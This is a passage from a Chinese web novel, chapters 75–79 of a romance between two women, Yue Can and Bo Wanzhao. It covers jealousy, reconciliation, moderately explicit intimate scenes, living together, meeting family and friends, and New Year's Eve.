越灿趁机抱了上前,双臂缠上薄晚照腰间,笑着贴近,目光垂了垂,小动作暗示明显。 薄晚照没有像平常一样去亲她嘴角的笑,只是盯了盯她,然后轻轻挣开怀抱,“我先去洗澡了。” 越灿怀里一松,温暖消失,看到薄晚照往卧室走去,她原地呆站了会儿,察觉到了气氛不对,对自己不冷不热的。 薄晚照在衣帽间拿睡衣,听到脚步声,回眸往门口看了看,越灿走了过来。 越灿走到薄晚照面前,面对面看了她好一阵,小声试探问:“生气了?” 薄晚照缓缓,漫不经心问她:“生什么气?” 不明知故问么?越灿皱了皱眉,又说着:“我跟余闻什么都没有……” “什么都没有吗?”薄晚照截住了她的话,安静须臾,继而不紧不慢说,“看你今晚很紧张她。” “我哪有很紧张她?就是朋友之间帮帮忙,她以前也帮过我。”越灿眉头皱更紧,着急解释,“我跟她就是普通朋友,你别多想。” 薄晚照尽可能保持着声音的平静,还记得那些情形,“普通朋友你让她追你?她那天说要追你的时候,我看你笑得挺开心的。” “我……”记得这么清楚,越灿霎时哑住,被秋后算账了,当初聚餐余闻说要追她,她的确没有直接拒绝,那是因为…… 薄晚照目光沉着,等她说话。 “那天我没有直接拒绝,是因为你也在,因为我想气你……”越灿不要面子了,朝薄晚照直言不讳,一股脑承认着,“我就是故意想气你,我想看你会不会着急,我想知道你还喜不喜欢我……” 故意气自己?这下轮到薄晚照哑了哑。 越灿说罢上前抱住她,死皮赖脸不撒手,她埋头钻进薄晚照颈窝里,急了委屈了,“别不理我行吗?” 薄晚照抬了抬手臂,将人圈在怀里抱着。 终于回应了自己,越灿抬头看她。 薄晚照注视她眼睛,过了好几秒,无可奈何地说:“气到了。” “嗯?”越灿没来得及说什么,强势的亲吻落在了唇上,唇齿被软舌抵开,她轻哼了哼,抵抗不住。 薄晚照一只手搂在她腰间,另一只手托在她后颈,压着往自己怀里靠,唇舌顺势送过去更深。 “嗯——”越灿出自本能急促回应着,每次张唇,都能感觉到吻又深了几寸,渐渐喘息连连,攥着毛衣的掌心微微出汗。 她发现薄晚照接吻时很喜欢扣着她后脑,或是捏着她后颈,温柔又强势的占有欲几乎溢出来。她满足着薄晚照的占有欲,同样吻得滚烫急切。 深吻动/情,对视一眼,两人眼底都漫起呼之欲出的情/欲,撩得心头烧着。短暂分开,唇又缠上。 越灿被亲得晕头转向,不知道自己是怎么跌落在镜子旁的沙发上,她继续抱上薄晚照,急不可待攫住她唇舌,热吻勾缠。 薄晚照往她身上欺了欺,垂头断断续续亲吻,修长的手指游弋到腰间的那枚纽扣。 越灿松开唇喘气,心间滚热,她瞥见薄晚照拿过湿巾,细细清洁纤细漂亮的手,戴上指/套,明明顶着张温柔冷清的脸,却做着最让人脸红心跳的事。 第76章 薄晚照永远都不一样。 越灿受不了薄晚照这样,呼吸愈发灼热,唇舌到喉咙都发干,她抱过薄晚照的腰,想吻她。 薄晚照错开唇,不让她亲。 越灿落空心痒,口干舌燥得磨人,她看出来薄晚照是故意的,跟惩罚似的,当下指尖肆意的占有欲也比之前更重。 “吃醋了么?”越灿叹着气问,她后知后觉,今晚余闻突然打电话过来,薄晚照看似平和冷静,但心里其实很在意。 还好意思问,薄晚照垂眼在她唇上不轻不重咬了咬。 这一咬,不用薄晚照承认什么,越灿都感觉到了浓浓的酸意,她还想说话,但唇被重重吻住了。 薄晚照扶稳她脸颊,另一只手依然游走撩拨,毫不克制真实的占有欲。 越灿无暇言语,只顾张唇迎和,感觉自己像溺水了,溺在热忱浓烈里无法自控,她边吻边攥着薄晚照的衣摆一点点往上推,露出白皙纤细的腰腹,想要更亲密的拥抱。 薄晚照由她。 越来越默契。 大大小小的衣物慢慢滑落,堆积在两人交叠在一起的腿边。 虽然是单人位的沙发,但两人抱在一起刚刚好,相拥相吻,互相爱抚,足够亲密温暖。 越灿后背陷在一片温软之中,她回着头同薄晚照唇舌相依,拗不过薄晚照的主动,缠到气息紊乱。 沙发斜对着镜子,清晰明亮,越灿余光时而流转扫过,敛入眼底的画面让心跳更加悸动。 薄晚照从背后抱紧她,吻她后颈和肩膀,瓷白的手臂修长,或轻或重落下,细长漂亮的手指灵巧,反复撩拨热烈欢喜。 越灿仰了仰头叹气,原来越隐忍不想发声的时候,越是隐忍不住,她逐渐顾不上,喉间断断续续低吟。 皮肤摩挲得发烫,拥抱柔软似水,薄晚照盯着她红晕渐重的双颊,并不收敛,反而刻意逗起更大的声音。 越灿彻底控制不住呢喃,她脸烧了烧,才亲密这一会儿,就缴械投降了。 薄晚照亲亲她头发,又换了姿势抱着。 越灿正对着镜子。 一清二楚的。 越灿瞥见镜子里两人相拥的姿势,“薄晚照,你……” 薄晚照还是不紧不慢,她抬眸看向镜子,气息稍稍凌乱,“我怎么?” 越灿重重呼气,嗓音又开始变得不稳:“你不知道害臊么?” “不知道。”薄晚照鼻尖蹭着她耳廓,低声问,“怎么办?” 越灿:“……” 燥热,人快化没了。 越灿也不是多害臊的人,很快又情不自禁跟薄晚照吻在一起,她脚心踩在薄晚照脚背上,使不上劲,整个人是轻飘飘的。 这种游荡在云端的感觉一直持续到浴室。越灿牢牢抱着薄晚照才站稳,她埋头靠在薄晚照肩上,片刻,双腿虚了虚。 薄晚照及时抱稳,也及时吻住了她,她知道越灿每次这时候,喜欢有亲吻安抚。 越灿鼻息绵绵哼着,主动张唇让薄晚照亲过来,没多久,鼻息又变重,呼吸失控乱起来,“薄晚照。” “嗯?” 越灿咬她肩膀,虽然薄晚照之前也对她主动热情,但今晚格外……像带了情绪。她腰肢颤了颤,沙哑说着:“什么都没有,你吃什么醋?你这么小心眼的。” 她才知道一向云淡风轻的人吃起醋来反应这么大。 薄晚照听着她嘀咕,没收敛占有,片刻,她忍不住问着越灿:“喜欢过别人吗?” “嗯?”越灿这时候大脑都发昏了,她答非所问,“我喜欢谁,你不是最清楚么?” “还没回答我,”薄晚照依然追问着,“除了我,还有喜欢的人吗?” 她知道自己这样很不讲理,她离开越灿那么久,越灿对其他人心动,喜欢上其他人,心里放不下其他人,都再正常不过…… 但她今晚看到越灿紧张余闻的时候,心里还是慌了,不安了,她怕越灿的喜欢不再像当年那样,只留给自己一个人。 人总是得寸进尺,得不到的时候,想着能得到一点就行,但得到之后,又会想要占据全部。 越灿上气不接下气,说得委屈:“除了你,我还能喜欢谁啊?” 动情时的话总是甜蜜,薄晚照还是想听,“只喜欢我?” 越灿哼着:“是,只喜欢你。” 薄晚照再靠近些,不依不饶:“只喜欢谁?” 越灿垂着眼不停喘息,薄晚照问一句她就答一句,“薄晚照啊,只喜欢薄晚照。” “就喜欢薄晚照。” “喜欢得要命。” …… 越灿意乱情迷,哑着嗓子说了许多直白肉麻的情话,直到黏黏糊糊又到了,她抱着薄晚照安静下来。 浴缸里的热水放好了,冲干净身上的黏腻,两人一起坐在浴缸里泡着,舒缓放松。 泡着热水,越灿懒懒靠在薄晚照身上,渐渐从疯狂中恢复冷静,她转头看看薄晚照。 薄晚照帮她擦了擦脸颊上的水珠。 越灿直直盯着她的脸。 薄晚照问:“怎么了?” 越灿想了想,她看薄晚照很在意,“余闻是跟我表白过,但后来我跟她说清楚了,我没喜欢过她,一直只把她当普通朋友。” 薄晚照凝视她双眸,迟迟,低声说道:“我之前还以为,你跟她在一起了。” 没头没脑的一句,越灿没听明白,“你说什么?” 薄晚照继续道:“你每次跟她一起出镜,大家不都说你们般配?” 越灿静了静,从薄晚照的话里抓住了关键:“你有看我发的视频?” 她原本还纳闷,为什么分开多年薄晚照却清楚她的喜好,她现在笃定了,薄晚照有在偷偷关注她。 薄晚照没否认,越灿也算是公众人物,在网上轻而易举就能关注到。 越灿知道薄晚照的反应为什么这么大了,每次合作拍摄,的确总是有人传她跟余闻的八卦,说得跟真的一样,她解释过也无济于事。 “那些都是瞎传的,我澄清过,你相信我……” “嗯。”薄晚照在水中抱了抱她,“是我多想了。” 越灿委屈,凑在她唇上咬着,但没舍得咬太重,转而又换成细吻。 薄晚照半合上眼,偏过唇让越灿亲。 越灿在浴缸里转了转身,同薄晚照面对面,换了更方便接吻的姿势后,唇再贴上,她吻得细致温柔,又热情,就像在把所有喜欢毫无保留地给对方。 亲吻柔软甘甜,薄晚照心动不已,正因为越灿给她的喜欢太美好热烈,失而复得,她分外怕抓不住,怕再失去。 越灿抱着亲了许久,才缓缓松开薄晚照红润的唇瓣。 薄晚照又在她唇角亲了亲,忍不住悄声说道:“心里只能有我。” 轻微命令的口吻,听似强势,却带着卑微不安。越灿倾过身抱她,她发现薄晚照很没有安全感,就像今晚。 尽管今晚动情的时候她跟薄晚照说了许多,但那显得不够郑重,她这时贴在薄晚照耳边,更认真地说:“一直都只有你。” 薄晚照搂着越灿圈更紧,温暖满怀。 越灿:“薄晚照。” 薄晚照:“什么?” 越灿探过头,直视着她眼睛,“你还记不记得,我以前跟你说过,你不一样。” 薄晚照哪会忘记,“记得。” “现在也是,你不一样。”越灿明媚笑,眼神里流转藏不住的爱意,“薄晚照永远都不一样。” 时光在流逝,但心动跟喜欢依旧如初,她们之间的种种,冲不走,吹不散。 十九岁的越灿,二十六岁的越灿,仿佛重合在了一起……薄晚照眼眶微微发热,湿润,她轻吻在越灿额头。 越灿将吻还在她眉心。她能感受到,这一次薄晚照将真心全部给了她,她会珍惜收好,好好陪在薄晚照身边,不让薄晚照受任何委屈。 第77章 像是从来没分开过。 越灿抱着薄晚照,也有点儿小情绪,“心里就你一个,你还不信任我。” 薄晚照听出话里的委屈,抚着她后背,“是我不该多想。” 越灿盯着她:“你知道就好。” 及时说清也就不委屈了,足够在乎彼此,是舍不得对方带着委屈过夜的。 薄晚照在她脸颊上亲了亲。 越灿擅长对她得寸进尺:“就这样么?” 薄晚照耐心问:“那你还想怎么样?” 越灿安静不语,抱在细腰上的手在水中游走,不一会儿,指尖熟稔游入温热柔软的一隅。 薄晚照轻轻颤了下。 越灿笑了,边吻边要着,哼道:“欺负回来。” 薄晚照目光渐渐柔和,她啄着越灿嘴角,叹气哄道:“嗯,让你欺负久一点。” 越灿哑住,这样子哄人,哪还有情绪嘛……她反应了会儿,又急声嘟哝:“谁要你让啊!” 薄晚照垂眼朝她笑,就爱逗她,暧昧说着:“不要吗?” 越灿也忍不住笑意,较上劲了,然后,浴缸里的水开始荡着越来越大的涟漪。 说笑声被低喘声所代替。 薄晚照抓住浴缸边缘,唇间呼出的气息逐渐急促,眉眼间染上越来越浓的情欲,倾泻而出。 越灿隔着朦胧的水雾盯着她脸庞,心也一同化在热水里了,她叫得温柔:“薄晚照。” 薄晚照咬唇轻喃:“嗯?” “我好喜欢……”越灿含着她耳垂反复吮吸亲吻,“好喜欢你把持不住的样子。” 浴缸狭窄,擦干身体回到床上,两人又互相折腾了几遍,直到夜深才平静。 欢愉过后的拥抱最黏腻,越灿懒洋洋抱着薄晚照,胃里空空,加上体力透支,她一动也不想动,“好饿。” 闹了一晚上都没吃东西,薄晚照拉了拉她搭在自己腰上的手臂,“我去煮面。” 越灿半睡不醒地哼了哼:“糖醋排骨……” 薄晚照无奈笑,翻身下床,在身上裹好睡袍后,往厨房走去。 越灿小睡了会儿,睁眼时发现怀里抱空了,依稀嗅到了糖醋排骨的味道,酸酸甜甜。 她愣了愣神,方才只是迷迷糊糊哼了声而已。 …… 翌日晴朗。 越灿站在镜子前,看到脖子上两道深紫的印记,就知道接下来几天都没办法拍摄了。 “薄晚照!”她匆匆走去找罪魁祸首,“你看……” 薄晚照转过身,淡淡然看着她。 越灿定睛后,哑然,吻痕一路从她脖颈蔓延到锁骨,在宽松的睡袍领口下若隐若现,浮想联翩。 自己昨晚过分多了,越灿心虚得无话可说。 好在她最近几天没什么要紧的拍摄,正好休息,不过今天下午去画展,两个人都要穿高领毛衣了。 下午看展,越灿特意搭了两套情侣装,两人都穿着黑色毛衣,外搭同色系但不同款的大衣,两人牵手走在街头,回头率拉满。 这是她们在一起后第一次正儿八经约会,只是晒着太阳牵手散步,也有着说不出的幸福。 逛着街,越灿每次看向薄晚照,都能撞见薄晚照正在看她,她笑说:“你老是看我干嘛?” 薄晚照笑而不语,说看不够过于肉麻,但事实如此。她太遗憾错过越灿的那些年,只能隔着距离和屏幕,偷偷看越灿蜕变得成熟。 美术馆外到处都是画展的宣传海报,越灿拉着薄晚照进馆。 正值周末,柏玉在国内又火,下午看展的人不少。 尽管柏玉本人是个酷姐,但作品风格却很温暖细腻,当初越灿看她画过的一组猫插画,一眼就喜欢上了。 越灿牵着薄晚照在展馆里闲逛,小声说着:“我之前心情不好的时候,就经常看柏老师的画集,是不是很治愈?” 薄晚照看看她侧脸,良久,低声问:“那你收到签名画集的时候,岂不是很开心?” 越灿:“当然开心了,你不知道,她都不开签售会的。” 薄晚照安静笑着。 柏玉正好也在南夏,越灿晚上约了她一起吃饭,提前说了带女朋友一起。 越灿订了南夏本地很有名气的一家餐厅,柏玉虽说长期在国外生活,但更喜欢国内的饮食。 路上堵车,柏玉还没来。 越灿跟薄晚照说着:“柏老师虽然看着拽,但人挺好相处的。” 薄晚照听越灿说得认真,“其实,我见过她……” “你见过她?”越灿意外,柏玉平时那么低调,开画展都不露面的。 正说着,一个身材高挑的女人走了过来,留着齐肩短发,又拽又酷,“久等了。” “柏老师,”越灿笑着打招呼,“我们也刚来。” 柏玉很松弛,看看越灿,又看向薄晚照,“薄总,又见面了,看样子回国很顺利。” 薄晚照笑。 越灿发现都不用自己介绍,薄晚照和柏玉之间的气氛,称得上熟络,“原来你们认识?” 薄晚照主动说:“之前在国外,我们工作上打过交道。” 柏玉是心直口快的性格,“说得这么生分?你当初可是一口一个我粉丝,想问我要签名来着。” 薄晚照:“……” 越灿也默了默,看向薄晚照,她搜索了一下记忆,柏玉有一年的确跟nova合作过夏季新品,那也是她第一次收到柏玉的礼物。不过她那时还不知道薄晚照也在nova。她在心里算了算时间,这些未免太巧了…… “所以签名画集还有礼物,是你让柏老师寄给我的。”越灿大胆猜测着,为什么从不社交的柏玉,突然主动给自己寄礼物。 柏玉松了口气,瞥了薄晚照一眼,“这可不是我说的,她自己猜到的。” 话都说到这份上,薄晚照无奈点点头。 越灿缄默,这顿饭吃得心情复杂。 “薄晚照,我真是佩服你这么能忍,终于舍得回国追人了。”柏玉喝着饮料,犀利吐槽着,“我本来还在想,要是越灿的女朋友不是你,那你不得偷偷哭晕?” 越灿:“…………” 薄晚照抬抬眼,淡然说:“挺久不见,柏老师的话好像变多了。” 柏玉轻笑了笑,举起手边的饮料,“行,不说废话,恭喜你们,祝你们百年好合,长长久久。” 吃完饭,越灿本来还想请柏玉泡吧喝酒,但柏玉喜欢独处,不爱热闹,就想一个人在陌生城市开车兜兜风,看看夜景。 离开餐厅,她们顺着街道散步消食,越灿想着心思,有些安静。 薄晚照牵着她的手,“不是故意瞒着你的。” 越灿顿下脚步,面对面看着薄晚照,“你养猫,还有后来转行,都是因为我?离开之后的几年,你一直都在悄悄关注我……” “嗯。”薄晚照承认着,她让自己的生活跟越灿有关,就好像越灿还在她身边,很多糟糕的日子也就没那么难熬。 越灿就知道没有这么多巧合,她不必问薄晚照这些年有没有想她,细心点就能发现,薄晚照的生活中处处都存在她的痕迹。 “你知道我为什么突然当模特吗?” “为什么?” “因为我想挣钱我想独立,那时候我爸说我不靠家里什么都不是,我也这么觉得。我觉得你拒绝我,是因为我不够成熟,就是个小屁孩,我想证明我不是心血来潮,我可以给你有保障的喜欢。”越灿苦涩说了许多,这些心里话她从未说出口,“而且当了模特,更有机会让你看到我,万一你后悔了回心转意了……” 她当模特起初也是因为薄晚照,只是后来一直坚持了下来。 薄晚照眼睛发涩,抚着她的头发,半晌说不出话。 越灿眼圈泛红,“所以这些年,你都看到了。” 薄晚照声音颤着:“我都看到了,一直在看着,看你一点一点变成熟……” 越灿又想哭。 薄晚照及时抱住她,扣在怀里轻轻安抚。 今晚的风平和宁静,温柔吹开了许多心结。 越灿闷声抱住薄晚照,心里像是打翻了什么不知名的调料瓶,各种滋味都有。 她们分开了很久,又像是从没分开过。心始终是彼此的。 薄晚照圈紧她,拥抱驱散晚风带来的寒意,“是我太没勇气,躲了这么久才回来。” 越灿有很多话想说,一时又无从说起,现在只想好好珍惜这个拥抱,“我们再也不要分开了。” “嗯。”薄晚照心疼应着,暖声安抚,“以前欠下的,现在和以后我们加倍补回来,好不好?” 越灿傻傻点着头,还好她们还有很长的以后,她们还有足够多的时间来弥补遗憾。 “还有……” 越灿:“还有什么?” “我爱你。” 第78章 磨人精想磨你一辈子。 初冬时节,两人开始了同居生活,房间里很多东西变成了情侣款,薄晚照最直观地感受到,自己不再是一个人。 互相等对方下班,一起逛超市,一起做饭,虽然她们以前也这样一起生活过,但有了女朋友的身份,是截然不同的感觉。 曾经喜欢得太压抑委屈,在一起后,两人有些报复性地补偿回来,相拥而眠不用说,洗澡都是一起,薄晚照做饭,越灿就从背后抱她,等薄晚照一回头,她就笑着黏黏糊糊索吻。 薄晚照同样不收敛,毫不保留给着主动和热情,接吻时是,在床上也是。 每晚都缠在一起喘息,越灿都觉得有点太不节制了,可她们互相喜欢却错过了这么多年,好不容易在一起了,多放纵都不过分。 喜欢能得到足够热烈的回应,越灿感觉自己每天都泡在蜜罐里,心动比年少时还汹涌。错过固然遗憾,但兜兜转转七年还能相爱,何尝不是种幸运。 等脖子上的吻痕消了,越灿开始忙碌工作室春季新品的拍摄。 越灿是藏不住心事的性格,也没打算藏,谈恋爱的事还没正式公开,身边的朋友就都看了出来,说她浑身散发着恋爱的粉红泡泡。 万年单身的人突然恋爱了,身边的人自然都好奇,再加上越灿眼光又高,大家太想知道什么样的人能让她迷上。 越灿被宋镜逮着问了两次,什么时候带女朋友过来见见面,她一时不知道怎么解释,工作室里的人都以为薄晚照是她姐。 周五晚上工作室有聚餐活动,越灿准备带上薄晚照一起,正好公开关系。 到了周五傍晚,薄晚照下班后直接开车去了breeze,越灿还在忙着拍摄。 一走进店内,薄晚照先和宋镜打上照面。 宋镜看见薄晚照怀里捧了束花,愣了两秒,笑着寒暄:“来啦*。” 薄晚照莞尔,她刚想问越灿忙完没,抬眼便看见越灿从二楼走了下来。 越灿一瞬扬起嘴角,加快了下楼的步伐。 宋镜随口说着:“怎么还带了花?” 越灿这时已经轻快走了过来,她瞧瞧薄晚照,满脸笑容地说,“给女朋友带的?” 薄晚照配合她幼稚的明知故问,点了点头。 “女朋友?”宋镜一头雾水,她看向越灿,“你姐女朋友是我们工作室的?谁呀?” 越灿微妙笑了笑,给薄晚照抛了个眼神。 薄晚照大大方方,主动跟宋镜解释道:“我和越灿在一起了。” “什么,你们……”宋镜原地懵了两秒,才反应过来,“我以为你们真是姐妹来着,原来是这种姐姐妹妹啊。” 不怪宋镜转不过弯来,这么多年,她一直都以为越灿和薄晚照是单纯的姐妹关系,自然不会往暧昧的层面想。 越灿挑挑眉说:“本来是姐妹,但有人对妹妹图谋不轨,死缠烂打追我,我就答应了。” 薄晚照笑着,静静听她说。 越灿带着任性地口吻反问:“不是吗?” 薄晚照又笑笑,温温柔柔回答:“是。” “行行行,还是你们会。”宋镜想到那天半夜给薄晚照打电话,薄晚照第一时间就过来陪越灿,关系是挺暧昧的。 越灿接过花,脸上笑得甜。 晚上除了工作室的人,越灿还叫了朋友,当然少不了钟然和洛扬。 等人到齐,越灿落落大方牵着薄晚照的手介绍,不出意外,姐姐变女朋友让在座的都意外了把。 “灿灿,瞧你这迫不及待想炫耀的样子。”钟然阴阳怪气损她,“当初还嘴硬,我就知道你还喜欢得要死……” 越灿嫌她话多,笑着塞了块小蛋糕到她嘴里。 钟然马上看向洛扬,“你看她欺负我。” 洛扬乐了,“让你话多。” 钟然不满,“你不站自己老婆这边啊?” 这一声“老婆”太高调腻歪,洛扬悄悄在她腰上捏一把,让她低调点儿。 “女朋友这么好看当然要炫耀了,是不是?”宋镜也调侃着,“有这么好的姐姐,难怪你看不上别人。” 薄晚照在一旁扬着唇边。 越灿瞧见,偷偷跟她咬耳朵,“你不谦虚点儿?” 薄晚照也跟她轻语:“我不好看?” 越灿口是心非,“你好自恋啊。”一本正经的自恋。 薄晚照笑,不动声色挠了挠她手心。 越灿被小动作甜到了,转头跟人聊天的时候,悄悄在桌子下牵过薄晚照的手,十指紧扣着。 晚饭过后,她们又一起去泡了吧。 很久没有这么热闹,越灿在钟然的怂恿下喝了点小酒,她平时很少喝酒,除了心情极好和心情极差的时候。 玩游戏越灿输了好几把,多亏薄晚照帮她喝了些酒,她才没变成醉鬼。 一群人热闹到晚上十点多散场。越灿和薄晚照都喝了酒,叫了代驾。 有薄晚照监督着,越灿没喝太醉,但有点犯迷糊。 薄晚照搂了搂她,让她靠自己身上。 越灿自然而然往薄晚照肩上靠,手臂抱上她的腰,很黏糊的一个姿势,她喜欢热闹,更喜欢两个人像这样简单平淡的相处,很奇妙,似乎越是平淡,心动就越明显。 “今晚是不是太闹腾了?”越灿软声问着,“觉得烦吗?” “没有,挺开心的。”薄晚照的确喜欢清净,但今晚的热闹让她心情很好,能融入越灿的生活圈子,她很开心。 “真的?”越灿眨眨眼,她想了想,继而笑说,“反正你只要跟我在一起就开心,以前就是。” 薄晚照露出更深的笑意,“嗯。” 越灿喃喃:“我也是这样。” 薄晚照看她双颊泛红,伸手抚了抚。 越灿抬头让她摸着,望着她笑盈盈吐槽:“你拿我的脸当暖手宝呢。” 薄晚照直直凝视着她,轻而易举被逗笑。 越灿看得心痒,要不是还有司机在,她这时候已经在吻她红唇了。 回去后,倦意夹杂醉意一齐袭来,越灿歪在沙发上睡了过去,直到被薄晚照叫醒,才朦胧睁眼。 薄晚照在她身畔坐下,给她递过杯橙汁,“累?” 越灿浅浅喝了几口,“嗯,困了。” 薄晚照起身去拿了卸妆水和卸妆棉,帮她卸妆。 越灿顺势抱住她,睁了睁眼。 薄晚照让她抱着,“眼睛闭上。” 越灿立即又闭上眼,抬着脸让她帮自己卸妆,卸了妆,她又说:“还要敷面膜,我这张脸很值钱的。” “知道。”薄晚照忍俊不禁,“等下帮你敷。” 越灿喝了酒嘴碎话多,任性提着各种要求,“薄晚照。” “怎么了?” “亲我一下。” 没头没脑的一声,薄晚照还是依她,在她唇上吻了吻。 越灿抿抿嘴,意犹未尽似的,低声又说:“再亲一下。” 薄晚照又依她。 连续得逞后越灿笑得开心,享受薄晚照对她的迁就贴心,她含糊问:“我这样烦不烦人?” 薄晚照帮她勾了勾耳畔的头发,怎么会觉得烦?这些年她不知道多希望能在越灿身边,做些什么,而不是远远看着。 越灿笑哼着:“烦不烦啊?” 薄晚照喜欢看越灿微醺的模样,黏糊糊爱撒娇,就算任性也惹人喜欢,虽然这些年越灿成熟了,但某些方面还是一如往昔,率性明媚。 越灿就该永远这样。 “再抱一下。”越灿继续提着要求,往薄晚照怀里钻了钻。 薄晚照暖暖将她抱紧在怀中,眼含笑意地说她:“磨人精。” 言语和眼神里分明都是爱意,越灿贴在她唇角亲了亲,问得认真:“磨人精想磨你一辈子,愿意吗?” 薄晚照目光温柔似水,“愿意。” 第79章 宝贝,除夕快乐。 跨年之后,南夏下了场小雪,寒意渐浓。 被窝里暖洋洋的,越灿醒来时薄晚照还在熟睡,身体紧紧贴着她,不管前一晚是什么睡姿,第二天醒来,她一定是被薄晚照抱着。 拥抱带来足够的温暖和安全感,薄晚照睡眠从来没这么好过,现在一到周末,她能比越灿睡得更久。 越灿也知道她一直都睡不好觉,不吵醒她,还会小心翼翼换个更舒服的姿势抱着。 如果放平常,越灿会陪薄晚照睡到自然醒,但今天上午还有事,她盯了会儿,在薄晚照腰上抚了抚,“起来了。” “嗯。”薄晚照低低应了声,但搂紧手臂继续睡着。 越灿难得看到薄晚照这样一面,摸过手机,打开前置摄像头自拍,拍了好几张后,她才看到薄晚照慵懒睁眼。 薄晚照哑声问:“几点了?” 越灿放下手机,“快十点了。” 薄晚照没急着起,在越灿腰间揽了揽,掌心细抚过光洁温暖的腰背。 越灿心跳快了几拍,不着/寸缕的拥抱很难纯洁得起来,她也在薄晚照后腰揉了揉,再往下。 薄晚照皱眉瞥瞥她,眼神警告。 警告无效,越灿掌心在细腻的皮肤上游走更放肆,她知道薄晚照抵抗不住她的贴近和抚摸。 薄晚照拿她没辙,的确拒绝不了这样。 越灿得寸进尺地在床上翻了个身,笑着抱她挠她。 薄晚照也笑起来,想到当初越灿也爱这样,她轻叹说:“多大了还这样?” 越灿没答话,正埋头轻吻着脖颈,一路到锁骨下方的柔软。 拥抱越来越紧,也越来越变味,薄晚照呼吸加重,让她亲了会儿,然后伸手摸着她后脑揉了几下,无奈笑说:“别闹了,上午还有事。” 越灿咬了口才松开,停下不规矩的亲吻,她探过脑袋看着身下的人,“明明你先勾引的。” 薄晚照也注视她眼睛,缓了缓,她唇边带笑,小声答道:“是你经不起勾引。” 越灿:“薄晚照!” 薄晚照抿唇笑,摸摸她脸颊,“好了,起来了。” 听到这十足温柔的一声,越灿立即软了下来,就吃薄晚照这套,“你就会拿捏我。” 薄晚照眼神流转,在她脸颊上更温柔地吻了吻。 越灿也心动亲回去,觉得自己这辈子都要被这个女人吃死了,但心甘情愿。 上午她们要去医院接薄芹出院,治疗了好几个月,薄芹病情已经稳定下来,后续只要保持吃药,不必再住院。 再见面,薄芹的气色和情绪都好了很多,薄晚照破天荒看到薄芹竟然朝自己笑了。 越灿抱了束花送给薄芹,“阿姨,恭喜出院。” 薄芹一时有点儿不知所措,但笑得开心,有些笨拙地接过花束,“谢谢了,又来看我。” 中午加上薄云,四个人一起吃饭,餐桌上的气氛和谐融洽。 薄芹照旧对越灿上心,“姑娘,你多吃点儿。” 越灿笑说:“阿姨,你叫我灿灿就行。” 薄芹连连点着头,又说:“你吃这个红烧肉,好吃的,多吃点儿。” 薄晚照在一旁说:“妈,她不能吃太油腻的,她是模特,平时要注意饮食。” “模特?”薄芹重复了一遍,这个职业对她来讲很陌生。 “就是拍照,上上杂志什么的。”越灿拿起手机,打开一些杂志的宣传画报给薄芹看。 薄芹觉得新鲜,看得兴致勃勃,看看越灿又看看照片,“这都是你?” 越灿:“嗯,不同风格。” 薄芹直笑着,“好看,每一张都好看。” 越灿看一眼薄晚照,笑了笑,有种见家长还留下满分印象的洋洋得意。 薄晚照看得出来薄芹很喜欢越灿,不仅仅是出于客套礼貌。情理之中,越灿很难不让人喜欢。 “晚照。” 听到薄芹突然叫自己,薄晚照抬抬头,“嗯?” “你也多吃点。” 薄晚照愣了一秒,才笑着回:“嗯。” 薄芹闷闷低了低头,她待别人都温和,唯独对待自己女儿,她总是摆出最糟糕的一面,或无意或有意。那些年她对女儿冷淡疏远,甚至态度恶劣,多少夹杂着故意的成分,她当初就是一心想骂跑薄晚照,让薄晚照对她死心,然后摆脱她这个累赘。 这些年,薄云和医生都劝过她很多,劝她不要再推开女儿,她也意识到了自己的过分,这种逃避本身就是对女儿的一种伤害…… 她负疚,也不知道自己想弥补还来不来得及。 薄芹酝酿了许久,又轻轻说了一声:“你在国外过得好吗?” 薄晚照:“挺顺利的,有好好照顾自己。” 薄芹欣慰,欣慰女儿比自己有出息多了,“那就好。” 越灿知道薄晚照这句话只是说起来云淡风轻,种种不容易都是她独自扛过去的,她在桌子底下心疼握了握薄晚照的手。 薄晚照看着她笑,给她夹菜。 越灿:“我今天已经吃不少了。” 薄晚照说:“吃多了我陪你去健身房。” 越灿露出苦笑。 薄芹见两人交谈熟络,不禁问了问:“你们关系很好?” “嗯,关系很好。”越灿飞快回答,趁机又说,“阿姨,我会照顾薄晚照的。” 薄晚照看向她。 越灿知道自己说得有点突兀,但就是想说,也是说给薄晚照听。 薄芹一怔,笑道:“她比你大不少,应该是她照顾你……” 越灿看看薄晚照,“我们互相照顾。” 薄芹没再说什么,反而欣慰笑了笑,心想女儿身边有这么一个朋友,也不会太孤单了。 “晚照,你过年应该留在南夏吧?”薄云提起过年的事。 薄晚照:“嗯,留在南夏。” “有什么安排吗?”薄云问着,又悄悄瞥了薄芹一眼。 薄芹这时抬起头,柔声问:“回来一起吃饭吗?” 薄晚照有点意外。 越灿松了口气。薄晚照慢慢都好起来了,她爱的人以后会越来越好- 再过不久就是春节。 越灿本来打算带薄晚照一起回家过年,但今年薄晚照可以跟家人团聚了,虽然两个人要分开几天,不过她还是打心底开心。 除夕这天,薄晚照去了小姨家,她本来想给她们换个大点儿的房子,但薄芹和薄云都执意说不用,现在她们住在一套小两室,不宽敞但温馨。 因为薄晚照过来过年,薄芹临时跟薄云住一间房,腾出一间房单独给薄晚照。 薄晚照拎着大大小小的礼物过去时,房间里布置得很有年味,还贴了窗花,薄云说是薄芹亲手剪的。 薄芹和薄云正在准备年夜饭,她看着厨房里袅袅升起的烟火气,出神了好久。 薄晚照走进厨房帮忙。 薄云回过头说:“晚照,很久没尝你妈妈的手艺了吧?” 薄晚照和薄芹同时静了静。 母女俩相处起来还夹杂着生疏感,但这种生疏感在一下午的相处中逐渐退去,毕竟是相依为命熬过来的两个人,谁也放不下谁。 吃年夜饭时,薄芹的话多了许多,问起薄晚照这些年在国外的情况,她看薄晚照回国以后状态比先前好了不少,心里也踏实。 这顿年夜饭吃得很暖心,薄芹还包了压岁钱。在薄芹没有发病之前,母女俩也吃过这样的年夜饭,但已经过了太久太久。 薄晚照拍了年夜饭给越灿发过去。 “给灿灿发的?”薄芹一下就猜到了。 “嗯。”薄晚照笑。 餐桌上,薄芹也问了薄晚照的感情生活,薄晚照暂时没打算告诉薄芹自己和越灿的关系,怕她一时又接受不了。 薄芹没催说年纪大了该嫁人了之类的,她是过来人吃过婚姻的苦……况且女儿比她有文化有能力,她尊重薄晚照自己的选择。 比起薄晚照这边三个人的温馨年夜饭,越灿那边要热闹许多,一大家子在酒店吃的。 年夜饭吃了一半,越灿跑去酒店天台透气,正好将满城的烟火揽入眼底。 越灿给薄晚照发了烟火绽放的照片和视频,很快收到了回复。 【bwz】好漂亮 